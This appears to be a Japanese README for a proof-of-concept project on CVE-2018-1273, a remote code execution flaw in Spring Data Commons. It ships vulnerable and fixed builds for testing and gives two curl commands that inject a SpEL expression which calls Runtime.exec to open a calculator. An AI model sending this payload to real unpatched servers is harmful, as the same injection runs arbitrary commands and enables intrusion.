
CVE-2018-1273 の PoC: Spring Data Commons のプロパティバインダーにおける RCE - REST エンドポイントに対する細工されたリクエストパラメータを介した攻撃。テスト用に脆弱なバージョンと修正済みバージョンを含む。
Spring Data Commons のバージョン 1.13 から 1.13.10、2.0 から 2.0.5 およびサポートが終了した旧バージョンには、特殊要素の不適切な無害化に起因するプロパティバインダーの脆弱性が存在します。認証されていないリモートの悪意あるユーザー(攻撃者)は、Spring Data REST がバックエンドとする HTTP リソースに対して特別に細工されたリクエストパラメータを送信したり、Spring Data のプロジェクションベースのリクエストペイロードバインディングを利用したりすることで、リモートコード実行攻撃を引き起こす可能性があります。
詳細はこちら
このアプリケーションは、脆弱性のあるバージョンまたは修正済みバージョンの Spring Data Commons でテストできます。
mvn spring-boot:run
mvn spring-boot:run -Dfixed
次のコマンドを実行して、脆弱性が悪用可能かどうかを確認します。
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Created by https://www.arima.eu
